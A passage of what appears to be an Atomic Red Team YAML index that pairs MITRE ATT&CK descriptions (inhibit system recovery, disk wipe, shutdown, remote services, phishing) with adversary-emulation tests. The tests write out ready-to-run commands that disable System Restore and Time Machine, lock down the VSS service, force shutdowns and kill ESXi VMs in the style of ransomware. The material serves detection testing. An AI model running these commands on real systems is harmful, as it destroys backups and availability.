NT\SystemRestore" /v "DisableConfig" /t "REG_DWORD" /d "1" /f reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t "REG_DWORD" /d "1" /f reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SystemRestore" /v "DisableConfig" /t "REG_DWORD" /d "1" /f reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SystemRestore" /v "DisableSR" /t "REG_DWORD" /d "1" /f cleanup_command: | reg delete "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /f >nul 2>&1 reg delete "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /f >nul 2>&1 reg delete "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SystemRestore" /v "DisableConfig" /f >nul 2>&1 reg delete "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SystemRestore" /v "DisableSR" /f >nul 2>&1 name: command_prompt elevation_required: true - name: Windows - vssadmin Resize Shadowstorage Volume auto_generated_guid: da558b07-69ae-41b9-b9d4-4d98154a7049 description: Adversaries generally try to Resize Shadowstorage Volume using vssadmin.exe to avoid the shadow volumes being made again. This technique is typically found used by adversaries during a ransomware event and a precursor to deleting the shadowstorage. supported_platforms: - windows executor: command: 'vssadmin resize shadowstorage /For=C: /On=C: /MaxSize=20%' name: powershell elevation_required: true - name: Modify VSS Service Permissions auto_generated_guid: a4420f93-5386-4290-b780-f4f66abc7070 description: | This atomic test alters the security settings of the Volume Shadow Copy Service (VSS) by modifying its permissions, potentially impacting system recovery operations. The specific permissions set by the command are as follows: - Deny Generic All (GA) permissions to Network Users (NU) - Deny GA permissions to Everyone (WD) - Deny GA permissions to Anonymous (AN) - Allow Full Access (FA) and Generic All (GA) permissions to Everyone (WD) in System ACL (SACL) - Allow Object Inherit and Inherit Only (OIIO) Full Access (FA) and GA permissions to Everyone (WD) in SACL These permissions can significantly restrict VSS functionalities, including backup and restore operations. As such, it is essential to run this test only in a controlled environment with administrative privileges. A cleanup command is provided to reset VSS permissions to a common default configuration, which should be verified against your specific system's configuration. It's crucial to use this cleanup command after testing to ensure the system's backup and recovery capabilities remain functional. Running this test on a production system or critical environment is not recommended without proper precautions and a robust recovery plan. supported_platforms: - windows executor: name: command_prompt elevation_required: true command: 'sc sdset VSS D:(D;;GA;;;NU)(D;;GA;;;WD)(D;;GA;;;AN)S:(AU;FA;GA;;;WD)(AU;OIIOFA;GA;;;WD) ' cleanup_command: 'sc sdset VSS D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;BA)(A;;LC;;;BU)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD) ' - name: Disable Time Machine auto_generated_guid: ed952f70-91d4-445a-b7ff-30966bfb1aff description: 'Disables Time Machine which is Apple''s automated backup utility software. Attackers can use this to prevent backups from occurring and hinder the victim''s ability to recover from any damage. ' supported_platforms: - macos executor: command: sudo tmutil disable cleanup_command: sudo tmutil enable name: sh elevation_required: true T1561.001: technique: modified: '2024-04-16T13:00:33.303Z' name: Disk Content Wipe description: |- Adversaries may erase the contents of storage devices on specific systems or in large numbers in a network to interrupt availability to system and network resources. Adversaries may partially or completely overwrite the contents of a storage device rendering the data irrecoverable through the storage interface.(Citation: Novetta Blockbuster)(Citation: Novetta Blockbuster Destructive Malware)(Citation: DOJ Lazarus Sony 2018) Instead of wiping specific disk structures or files, adversaries with destructive intent may wipe arbitrary portions of disk content. To wipe disk content, adversaries may acquire direct access to the hard drive in order to overwrite arbitrarily sized portions of disk with random data.(Citation: Novetta Blockbuster Destructive Malware) Adversaries have also been observed leveraging third-party drivers like [RawDisk](https://attack.mitre.org/software/S0364) to directly access disk content.(Citation: Novetta Blockbuster)(Citation: Novetta Blockbuster Destructive Malware) This behavior is distinct from [Data Destruction](https://attack.mitre.org/techniques/T1485) because sections of the disk are erased instead of individual files. To maximize impact on the target organization in operations where network-wide availability interruption is the goal, malware used for wiping disk content may have worm-like features to propagate across a network by leveraging additional techniques like [Valid Accounts](https://attack.mitre.org/techniques/T1078), [OS Credential Dumping](https://attack.mitre.org/techniques/T1003), and [SMB/Windows Admin Shares](https://attack.mitre.org/techniques/T1021/002).(Citation: Novetta Blockbuster Destructive Malware) kill_chain_phases: - kill_chain_name: mitre-attack phase_name: impact x_mitre_deprecated: false x_mitre_detection: |- Look for attempts to read/write to sensitive locations like the partition boot sector or BIOS parameter block/superblock. Monitor for direct access read/write attempts using the \\\\.\\ notation.(Citation: Microsoft Sysmon v6 May 2017) Monitor for unusual kernel driver installation activity. For network infrastructure devices, collect AAA logging to monitor for `erase` commands that delete critical configuration files. x_mitre_domains: - enterprise-attack x_mitre_is_subtechnique: true x_mitre_platforms: - Linux - macOS - Windows - Network x_mitre_version: '1.1' x_mitre_data_sources: - 'Drive: Drive Modification' - 'Drive: Drive Access' - 'Driver: Driver Load' - 'Command: Command Execution' - 'Process: Process Creation' x_mitre_impact_type: - Availability type: attack-pattern id: attack-pattern--fb640c43-aa6b-431e-a961-a279010424ac created: '2020-02-20T22:06:41.739Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 revoked: false external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1561/001 external_id: T1561.001 - source_name: DOJ Lazarus Sony 2018 description: Department of Justice. (2018, September 6). Criminal Complaint - United States of America v. PARK JIN HYOK. Retrieved March 29, 2019. url: https://www.justice.gov/opa/press-release/file/1092091/download - source_name: Novetta Blockbuster Destructive Malware description: 'Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Destructive Malware Report. Retrieved March 2, 2016.' url: https://web.archive.org/web/20160303200515/https://operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Destructive-Malware-Report.pdf - source_name: Novetta Blockbuster description: 'Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Unraveling the Long Thread of the Sony Attack. Retrieved February 25, 2016.' url: https://web.archive.org/web/20160226161828/https://www.operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Report.pdf - source_name: Microsoft Sysmon v6 May 2017 description: Russinovich, M. & Garnier, T. (2017, May 22). Sysmon v6.20. Retrieved December 13, 2017. url: https://docs.microsoft.com/sysinternals/downloads/sysmon object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_attack_spec_version: 3.2.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' atomic_tests: [] T1529: technique: modified: '2023-05-09T14:00:00.188Z' name: System Shutdown/Reboot description: |- Adversaries may shutdown/reboot systems to interrupt access to, or aid in the destruction of, those systems. Operating systems may contain commands to initiate a shutdown/reboot of a machine or network device. In some cases, these commands may also be used to initiate a shutdown/reboot of a remote computer or network device via [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) (e.g. reload).(Citation: Microsoft Shutdown Oct 2017)(Citation: alert_TA18_106A) Shutting down or rebooting systems may disrupt access to computer resources for legitimate users while also impeding incident response/recovery. Adversaries may attempt to shutdown/reboot a system after impacting it in other ways, such as [Disk Structure Wipe](https://attack.mitre.org/techniques/T1561/002) or [Inhibit System Recovery](https://attack.mitre.org/techniques/T1490), to hasten the intended effects on system availability.(Citation: Talos Nyetya June 2017)(Citation: Talos Olympic Destroyer 2018) kill_chain_phases: - kill_chain_name: mitre-attack phase_name: impact x_mitre_contributors: - Austin Clark, @c2defense - Hubert Mank x_mitre_deprecated: false x_mitre_detection: Use process monitoring to monitor the execution and command line parameters of binaries involved in shutting down or rebooting systems. Windows event logs may also designate activity associated with a shutdown/reboot, ex. Event ID 1074 and 6006. Unexpected or unauthorized commands from network cli on network devices may also be associated with shutdown/reboot, e.g. the reload command. x_mitre_domains: - enterprise-attack x_mitre_is_subtechnique: false x_mitre_platforms: - Linux - macOS - Windows - Network x_mitre_version: '1.3' x_mitre_data_sources: - 'Process: Process Creation' - 'Sensor Health: Host Status' - 'Command: Command Execution' x_mitre_impact_type: - Availability type: attack-pattern id: attack-pattern--ff73aa03-0090-4464-83ac-f89e233c02bc created: '2019-10-04T20:42:28.541Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 revoked: false external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1529 external_id: T1529 - source_name: Talos Nyetya June 2017 description: Chiu, A. (2016, June 27). New Ransomware Variant "Nyetya" Compromises Systems Worldwide. Retrieved March 26, 2019. url: https://blog.talosintelligence.com/2017/06/worldwide-ransomware-variant.html - source_name: alert_TA18_106A description: CISA. (2018, April 20). Russian State-Sponsored Cyber Actors Targeting Network Infrastructure Devices. Retrieved February 14, 2022. url: https://www.cisa.gov/uscert/ncas/alerts/TA18-106A - source_name: Talos Olympic Destroyer 2018 description: Mercer, W. and Rascagneres, P. (2018, February 12). Olympic Destroyer Takes Aim At Winter Olympics. Retrieved March 14, 2019. url: https://blog.talosintelligence.com/2018/02/olympic-destroyer.html - source_name: Microsoft Shutdown Oct 2017 description: Microsoft. (2017, October 15). Shutdown. Retrieved October 4, 2019. url: https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/shutdown object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_attack_spec_version: 3.1.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' identifier: T1529 atomic_tests: - name: Shutdown System - Windows auto_generated_guid: ad254fa8-45c0-403b-8c77-e00b3d3e7a64 description: 'This test shuts down a Windows system. ' supported_platforms: - windows input_arguments: timeout: description: Timeout period before shutdown (seconds) type: integer default: 1 executor: command: 'shutdown /s /t #{timeout} ' name: command_prompt elevation_required: true - name: Restart System - Windows auto_generated_guid: f4648f0d-bf78-483c-bafc-3ec99cd1c302 description: 'This test restarts a Windows system. ' supported_platforms: - windows input_arguments: timeout: description: Timeout period before restart (seconds) type: integer default: 1 executor: command: 'shutdown /r /t #{timeout} ' name: command_prompt elevation_required: true - name: Restart System via `shutdown` - FreeBSD/macOS/Linux auto_generated_guid: 6326dbc4-444b-4c04-88f4-27e94d0327cb description: 'This test restarts a FreeBSD/macOS/Linux system. ' supported_platforms: - linux - macos input_arguments: timeout: description: Time to restart (can be minutes or specific time) type: string default: now executor: command: 'shutdown -r #{timeout} ' name: sh elevation_required: true - name: Shutdown System via `shutdown` - FreeBSD/macOS/Linux auto_generated_guid: 4963a81e-a3ad-4f02-adda-812343b351de description: 'This test shuts down a FreeBSD/macOS/Linux system using a halt. ' supported_platforms: - linux - macos input_arguments: timeout: description: Time to shutdown (can be minutes or specific time) type: string default: now executor: command: 'shutdown -h #{timeout} ' name: sh elevation_required: true - name: Restart System via `reboot` - FreeBSD/macOS/Linux auto_generated_guid: 47d0b042-a918-40ab-8cf9-150ffe919027 description: 'This test restarts a FreeBSD/macOS/Linux system via `reboot`. ' supported_platforms: - linux - macos executor: command: 'reboot ' name: sh elevation_required: true - name: Shutdown System via `halt` - FreeBSD/Linux auto_generated_guid: 918f70ab-e1ef-49ff-bc57-b27021df84dd description: 'This test shuts down a FreeBSD/Linux system using `halt`. ' supported_platforms: - linux executor: command: 'halt -p ' name: sh elevation_required: true - name: Reboot System via `halt` - FreeBSD auto_generated_guid: 7b1cee42-320f-4890-b056-d65c8b884ba5 description: 'This test restarts a FreeBSD system using `halt`. ' supported_platforms: - linux executor: command: 'halt -r ' name: sh elevation_required: true - name: Reboot System via `halt` - Linux auto_generated_guid: 78f92e14-f1e9-4446-b3e9-f1b921f2459e description: 'This test restarts a Linux system using `halt`. ' supported_platforms: - linux executor: command: 'halt --reboot ' name: bash elevation_required: true - name: Shutdown System via `poweroff` - FreeBSD/Linux auto_generated_guid: 73a90cd2-48a2-4ac5-8594-2af35fa909fa description: 'This test shuts down a FreeBSD/Linux system using `poweroff`. ' supported_platforms: - linux executor: command: 'poweroff ' name: sh elevation_required: true - name: Reboot System via `poweroff` - FreeBSD auto_generated_guid: 5a282e50-86ff-438d-8cef-8ae01c9e62e1 description: 'This test restarts a FreeBSD system using `poweroff`. ' supported_platforms: - linux executor: command: 'poweroff -r 3 ' name: sh elevation_required: true - name: Reboot System via `poweroff` - Linux auto_generated_guid: 61303105-ff60-427b-999e-efb90b314e41 description: 'This test restarts a Linux system using `poweroff`. ' supported_platforms: - linux executor: command: 'poweroff --reboot ' name: bash elevation_required: true - name: Logoff System - Windows auto_generated_guid: 3d8c25b5-7ff5-4c9d-b21f-85ebd06654a4 description: 'This test performs a Windows system logoff as seen in [dcrat backdoor capabilities](https://www.mandiant.com/resources/analyzing-dark-crystal-rat-backdoor) ' supported_platforms: - windows executor: command: "shutdown /l \n" name: command_prompt elevation_required: true - name: ESXi - Terminates VMs using pkill auto_generated_guid: 987c9b4d-a637-42db-b1cb-e9e242c3991b description: | In VMWARE ESXi, process names starting with vmx are associated with running VMs. An adversary can use the pkill command to kill all processes with a prefix vmx. [Reference](https://www.crowdstrike.com/blog/hypervisor-jackpotting-ecrime-actors-increase-targeting-of-esxi-servers/) supported_platforms: - windows input_arguments: vm_host: description: Specify the host name of the ESXi Server type: string default: atomic.local vm_user: description: Specify the privilege user account on ESXi Server type: string default: root vm_pass: description: Specify the privilege user password on ESXi Server type: string default: pass plink_file: description: Path to plink type: path default: PathToAtomicsFolder\..\ExternalPayloads\plink.exe cli_script: description: Path to text with commands type: path default: PathToAtomicsFolder\T1529\src\esx_pkill.txt dependency_executor_name: powershell dependencies: - description: 'Check if plink is available. ' prereq_command: 'if (Test-Path "#{plink_file}") {exit 0} else {exit 1} ' get_prereq_command: | New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null Invoke-WebRequest "https://the.earth.li/~sgtatham/putty/latest/w64/plink.exe" -OutFile "#{plink_file}" executor: command: 'echo "" | "#{plink_file}" "#{vm_host}" -ssh -l "#{vm_user}" -pw "#{vm_pass}" -m "#{cli_script}" ' name: command_prompt elevation_required: false - name: ESXi - Avoslocker enumerates VMs and forcefully kills VMs auto_generated_guid: 189f7d6e-9442-4160-9bc3-5e4104d93ece description: | Avoslocker malware has inbuilt functionality to enumerate the VM instances and uses the esxcli command to forcefully power off them. [Reference](https://blogs.vmware.com/security/2022/02/avoslocker-modern-linux-ransomware-threats.html) supported_platforms: - windows input_arguments: vm_host: description: Specify the host name of the ESXi Server type: string default: atomic.local vm_user: description: Specify the privilege user account on ESXi Server type: string default: root vm_pass: description: Specify the privilege user password on ESXi Server type: string default: pass plink_file: description: Path to plink type: path default: PathToAtomicsFolder\..\ExternalPayloads\plink.exe cli_script: description: Path to text with commands type: path default: PathToAtomicsFolder\T1529\src\esx_avoslocker_kill_vm.txt dependency_executor_name: powershell dependencies: - description: 'Check if plink is available. ' prereq_command: 'if (Test-Path "#{plink_file}") {exit 0} else {exit 1} ' get_prereq_command: | New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null Invoke-WebRequest "https://the.earth.li/~sgtatham/putty/latest/w64/plink.exe" -OutFile "#{plink_file}" executor: command: 'echo "" | "#{plink_file}" "#{vm_host}" -ssh -l "#{vm_user}" -pw "#{vm_pass}" -m "#{cli_script}" ' name: command_prompt elevation_required: false initial-access: T1133: technique: modified: '2023-05-09T14:00:00.188Z' name: External Remote Services description: |- Adversaries may leverage external-facing remote services to initially access and/or persist within a network. Remote services such as VPNs, Citrix, and other access mechanisms allow users to connect to internal enterprise network resources from external locations. There are often remote service gateways that manage connections and credential authentication for these services. Services such as [Windows Remote Management](https://attack.mitre.org/techniques/T1021/006) and [VNC](https://attack.mitre.org/techniques/T1021/005) can also be used externally.(Citation: MacOS VNC software for Remote Desktop) Access to [Valid Accounts](https://attack.mitre.org/techniques/T1078) to use the service is often a requirement, which could be obtained through credential pharming or by obtaining the credentials from users after compromising the enterprise network.(Citation: Volexity Virtual Private Keylogging) Access to remote services may be used as a redundant or persistent access mechanism during an operation. Access may also be gained through an exposed service that doesn’t require authentication. In containerized environments, this may include an exposed Docker API, Kubernetes API server, kubelet, or web application such as the Kubernetes dashboard.(Citation: Trend Micro Exposed Docker Server)(Citation: Unit 42 Hildegard Malware) kill_chain_phases: - kill_chain_name: mitre-attack phase_name: persistence - kill_chain_name: mitre-attack phase_name: initial-access x_mitre_attack_spec_version: 2.1.0 x_mitre_contributors: - ExtraHop - David Fiser, @anu4is, Trend Micro - Alfredo Oliveira, Trend Micro - Idan Frimark, Cisco - Rory McCune, Aqua Security - Yuval Avrahami, Palo Alto Networks - Jay Chen, Palo Alto Networks - Brad Geesaman, @bradgeesaman - Magno Logan, @magnologan, Trend Micro - Ariel Shuper, Cisco - Yossi Weizman, Azure Defender Research Team - Vishwas Manral, McAfee - Daniel Oakley - Travis Smith, Tripwire - David Tayouri x_mitre_deprecated: false x_mitre_detection: |- Follow best practices for detecting adversary use of [Valid Accounts](https://attack.mitre.org/techniques/T1078) for authenticating to remote services. Collect authentication logs and analyze for unusual access patterns, windows of activity, and access outside of normal business hours. When authentication is not required to access an exposed remote service, monitor for follow-on activities such as anomalous external use of the exposed API or application. x_mitre_domains: - enterprise-attack x_mitre_is_subtechnique: false x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 x_mitre_platforms: - Windows - Linux - Containers - macOS x_mitre_version: '2.4' x_mitre_data_sources: - 'Network Traffic: Network Connection Creation' - 'Network Traffic: Network Traffic Flow' - 'Logon Session: Logon Session Metadata' - 'Application Log: Application Log Content' - 'Network Traffic: Network Traffic Content' type: attack-pattern id: attack-pattern--10d51417-ee35-4589-b1ff-b6df1c334e8d created: '2017-05-31T21:31:44.421Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 revoked: false external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1133 external_id: T1133 - source_name: Volexity Virtual Private Keylogging description: 'Adair, S. (2015, October 7). Virtual Private Keylogging: Cisco Web VPNs Leveraged for Access and Persistence. Retrieved March 20, 2017.' url: https://www.volexity.com/blog/2015/10/07/virtual-private-keylogging-cisco-web-vpns-leveraged-for-access-and-persistence/ - source_name: MacOS VNC software for Remote Desktop description: Apple Support. (n.d.). Set up a computer running VNC software for Remote Desktop. Retrieved August 18, 2021. url: https://support.apple.com/guide/remote-desktop/set-up-a-computer-running-vnc-software-apdbed09830/mac - source_name: Unit 42 Hildegard Malware description: 'Chen, J. et al. (2021, February 3). Hildegard: New TeamTNT Cryptojacking Malware Targeting Kubernetes. Retrieved April 5, 2021.' url: https://unit42.paloaltonetworks.com/hildegard-malware-teamtnt/ - source_name: Trend Micro Exposed Docker Server description: Remillano II, A., et al. (2020, June 20). XORDDoS, Kaiji Variants Target Exposed Docker Servers. Retrieved April 5, 2021. url: https://www.trendmicro.com/en_us/research/20/f/xorddos-kaiji-botnet-malware-variants-target-exposed-docker-servers.html object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 spec_version: '2.1' identifier: T1133 atomic_tests: - name: Running Chrome VPN Extensions via the Registry 2 vpn extension auto_generated_guid: 4c8db261-a58b-42a6-a866-0a294deedde4 description: 'Running Chrome VPN Extensions via the Registry install 2 vpn extension, please see "T1133\src\list of vpn extension.txt" to view complete list ' supported_platforms: - windows input_arguments: chrome_url: description: chrome installer download URL type: url default: https://dl.google.com/tag/s/appguid%3D%7B8A69D345-D564-463C-AFF1-A69D9E530F96%7D%26iid%3D%7BFD62DDBC-14C6-20BD-706F-C7744738E422%7D%26lang%3Den%26browser%3D3%26usagestats%3D0%26appname%3DGoogle%2520Chrome%26needsadmin%3Dprefers%26ap%3Dx64-stable-statsdef_1%26installdataindex%3Dempty/chrome/install/ChromeStandaloneSetup64.exe extension_id: description: chrome extension id type: string default: '"fcfhplploccackoneaefokcmbjfbkenj", "fdcgdnkidjaadafnichfpabhfomcebme" ' dependency_executor_name: powershell dependencies: - description: 'Chrome must be installed ' prereq_command: if ((Test-Path "C:\Program Files\Google\Chrome\Application\chrome.exe") -Or (Test-Path "C:\Program Files (x86)\Google\Chrome\Application\chrome.exe")) {exit 0} else {exit 1} get_prereq_command: | New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null Invoke-WebRequest -OutFile "PathToAtomicsFolder\..\ExternalPayloads\ChromeStandaloneSetup64.exe" #{chrome_url} Start-Process "PathToAtomicsFolder\..\ExternalPayloads\ChromeStandaloneSetup64.exe" /S executor: name: powershell elevation_required: true command: | $extList = #{extension_id} foreach ($extension in $extList) { New-Item -Path HKLM:\Software\Wow6432Node\Google\Chrome\Extensions\$extension -Force New-ItemProperty -Path "HKLM:\Software\Wow6432Node\Google\Chrome\Extensions\$extension" -Name "update_url" -Value "https://clients2.google.com/service/update2/crx" -PropertyType "String" -Force} Start chrome Start-Sleep -Seconds 30 Stop-Process -Name "chrome" cleanup_command: | $extList = #{extension_id} foreach ($extension in $extList) { Remove-Item -Path "HKLM:\Software\Wow6432Node\Google\Chrome\Extensions\$extension" -ErrorAction Ignore} T1195.001: technique: modified: '2024-04-13T14:47:31.204Z' name: Compromise Software Dependencies and Development Tools description: "Adversaries may manipulate software dependencies and development tools prior to receipt by a final consumer for the purpose of data or system compromise. Applications often depend on external software to function properly. Popular open source projects that are used as dependencies in many applications may be targeted as a means to add malicious code to users of the dependency.(Citation: Trendmicro NPM Compromise) \n\nTargeting may be specific to a desired victim set or may be distributed to a broad set of consumers but only move on to additional tactics on specific victims. " kill_chain_phases: - kill_chain_name: mitre-attack phase_name: initial-access x_mitre_deprecated: false x_mitre_detection: 'Use verification of distributed binaries through hash checking or other integrity checking mechanisms. Scan downloads for malicious signatures and attempt to test software and updates prior to deployment while taking note of potential suspicious activity. ' x_mitre_domains: - enterprise-attack x_mitre_is_subtechnique: true x_mitre_platforms: - Linux - macOS - Windows x_mitre_version: '1.2' x_mitre_data_sources: - 'File: File Metadata' type: attack-pattern id: attack-pattern--191cc6af-1bb2-4344-ab5f-28e496638720 created: '2020-03-11T14:13:42.916Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 revoked: false external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1195/001 external_id: T1195.001 - source_name: Trendmicro NPM Compromise description: Trendmicro. (2018, November 29). Hacker Infects Node.js Package to Steal from Bitcoin Wallets. Retrieved April 10, 2019. url: https://www.trendmicro.com/vinfo/dk/security/news/cybercrime-and-digital-threats/hacker-infects-node-js-package-to-steal-from-bitcoin-wallets object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_attack_spec_version: 3.2.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' atomic_tests: [] T1566.002: technique: modified: '2024-04-15T23:51:25.037Z' name: Spearphishing Link description: |- Adversaries may send spearphishing emails with a malicious link in an attempt to gain access to victim systems. Spearphishing with a link is a specific variant of spearphishing. It is different from other forms of spearphishing in that it employs the use of links to download malware contained in email, instead of attaching malicious files to the email itself, to avoid defenses that may inspect email attachments. Spearphishing may also involve social engineering techniques, such as posing as a trusted source. All forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this case, the malicious emails contain links. Generally, the links will be accompanied by social engineering text and require the user to actively click or copy and paste a URL into a browser, leveraging [User Execution](https://attack.mitre.org/techniques/T1204). The visited website may compromise the web browser using an exploit, or the user will be prompted to download applications, documents, zip files, or even executables depending on the pretext for the email in the first place. Adversaries may also include links that are intended to interact directly with an email reader, including embedded images intended to exploit the end system directly. Additionally, adversaries may use seemingly benign links that abuse special characters to mimic legitimate websites (known as an "IDN homograph attack").(Citation: CISA IDN ST05-016) URLs may also be obfuscated by taking advantage of quirks in the URL schema, such as the acceptance of integer- or hexadecimal-based hostname formats and the automatic discarding of text before an “@” symbol: for example, `hxxp://google.com@1157586937`.(Citation: Mandiant URL Obfuscation 2023) Adversaries may also utilize links to perform consent phishing, typically with OAuth 2.0 request URLs that when accepted by the user provide permissions/access for malicious applications, allowing adversaries to [Steal Application Access Token](https://attack.mitre.org/techniques/T1528)s.(Citation: Trend Micro Pawn Storm OAuth 2017) These stolen access tokens allow the adversary to perform various actions on behalf of the user via API calls. (Citation: Microsoft OAuth 2.0 Consent Phishing 2021) Adversaries may also utilize spearphishing links to [Steal Application Access Token](https://attack.mitre.org/techniques/T1528)s that grant immediate access to the victim environment. For example, a user may be lured through “consent phishing” into granting adversaries permissions/access via a malicious OAuth 2.0 request URL .(Citation: Trend Micro Pawn Storm OAuth 2017)(Citation: Microsoft OAuth 2.0 Consent Phishing 2021) Similarly, malicious links may also target device-based authorization, such as OAuth 2.0 device authorization grant flow which is typically used to authenticate devices without UIs/browsers. Known as “device code phishing,” an adversary may send a link that directs the victim to a malicious authorization page where the user is tricked into entering a code/credentials that produces a device token.(Citation: SecureWorks Device Code Phishing 2021)(Citation: Netskope Device Code Phishing 2021)(Citation: Optiv Device Code Phishing 2021) kill_chain_phases: - kill_chain_name: mitre-attack phase_name: initial-access x_mitre_contributors: - Philip Winther - Shailesh Tiwary (Indian Army) - Mark Wee - Jeff Sakowicz, Microsoft Identity Developer Platform Services (IDPM Services) - Saisha Agrawal, Microsoft Threat Intelligent Center (MSTIC) - Kobi Haimovich, CardinalOps - Menachem Goldstein x_mitre_deprecated: false x_mitre_detection: |- URL inspection within email (including expanding shortened links) can help detect links leading to known malicious sites as well as links redirecting to adversary infrastructure based by upon suspicious OAuth patterns with unusual TLDs.(Citation: Microsoft OAuth 2.0 Consent Phishing 2021). Detonation chambers can be used to detect these links and either automatically go to these sites to determine if they're potentially malicious, or wait and capture the content if a user visits the link. Filtering based on DKIM+SPF or header analysis can help detect when the email sender is spoofed.(Citation: Microsoft Anti Spoofing)(Citation: ACSC Email Spoofing) Because this technique usually involves user interaction on the endpoint, many of the possible detections take place once [User Execution](https://attack.mitre.org/techniques/T1204) occurs. x_mitre_domains: - enterprise-attack x_mitre_is_subtechnique: true x_mitre_platforms: - Linux - macOS - Windows - Office 365 - SaaS - Google Workspace x_mitre_version: '2.6' x_mitre_data_sources: - 'Network Traffic: Network Traffic Flow' - 'Application Log: Application Log Content' - 'Network Traffic: Network Traffic Content' type: attack-pattern id: attack-pattern--2b742742-28c3-4e1b-bab7-8350d6300fa7 created: '2020-03-02T19:15:44.182Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 revoked: false external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1566/002 external_id: T1566.002 - source_name: ACSC Email Spoofing description: Australian Cyber Security Centre. (2012, December). Mitigating Spoofed Emails Using Sender Policy Framework. Retrieved October 19, 2020. url: https://www.cyber.gov.au/sites/default/files/2019-03/spoof_email_sender_policy_framework.pdf - source_name: CISA IDN ST05-016 description: 'CISA. (2019, September 27). Security Tip (ST05-016): Understanding Internationalized Domain Names. Retrieved October 20, 2020.' url: https://us-cert.cisa.gov/ncas/tips/ST05-016 - source_name: Trend Micro Pawn Storm OAuth 2017 description: Hacquebord, F.. (2017, April 25). Pawn Storm Abuses Open Authentication in Advanced Social Engineering Attacks. Retrieved October 4, 2019. url: https://blog.trendmicro.com/trendlabs-security-intelligence/pawn-storm-abuses-open-authentication-advanced-social-engineering-attacks - source_name: Netskope Device Code Phishing 2021 description: Jenko Hwong. (2021, August 10). New Phishing Attacks Exploiting OAuth Authorization Flows (Part 1). Retrieved March 19, 2024. url: https://www.netskope.com/blog/new-phishing-attacks-exploiting-oauth-authorization-flows-part-1 - source_name: Microsoft OAuth 2.0 Consent Phishing 2021 description: Microsoft 365 Defender Threat Intelligence Team. (2021, June 14). Microsoft delivers comprehensive solution to battle rise in consent phishing emails. Retrieved December 13, 2021. url: https://www.microsoft.com/security/blog/2021/07/14/microsoft-delivers-comprehensive-solution-to-battle-rise-in-consent-phishing-emails/ - source_name: Microsoft Anti Spoofing description: Microsoft. (2020, October 13). Anti-spoofing protection in EOP. Retrieved October 19, 2020. url: https://docs.microsoft.com/en-us/microsoft-365/security/office-365-security/anti-spoofing-protection?view=o365-worldwide - source_name: Mandiant URL Obfuscation 2023 description: 'Nick Simonian. (2023, May 22). Don''t @ Me: URL Obfuscation Through Schema Abuse. Retrieved August 4, 2023.' url: https://www.mandiant.com/resources/blog/url-obfuscation-schema-abuse - source_name: Optiv Device Code Phishing 2021 description: Optiv. (2021, August 17). Microsoft 365 OAuth Device Code Flow and Phishing. Retrieved March 19, 2024. url: https://www.optiv.com/insights/source-zero/blog/microsoft-365-oauth-device-code-flow-and-phishing - source_name: SecureWorks Device Code Phishing 2021 description: SecureWorks Counter Threat Unit Research Team. (2021, June 3). OAuth’S Device Code Flow Abused in Phishing Attacks. Retrieved March 19, 2024. url: https://www.secureworks.com/blog/oauths-device-code-flow-abused-in-phishing-attacks object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_attack_spec_version: 3.2.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' atomic_tests: [] T1566.001: technique: modified: '2024-01-31T14:09:27.066Z' name: 'Phishing: Spearphishing Attachment' description: "Adversaries may send spearphishing emails with a malicious attachment in an attempt to gain access to victim systems. Spearphishing attachment is a specific variant of spearphishing. Spearphishing attachment is different from other forms of spearphishing in that it employs the use of malware attached to an email. All forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this scenario, adversaries attach a file to the spearphishing email and usually rely upon [User 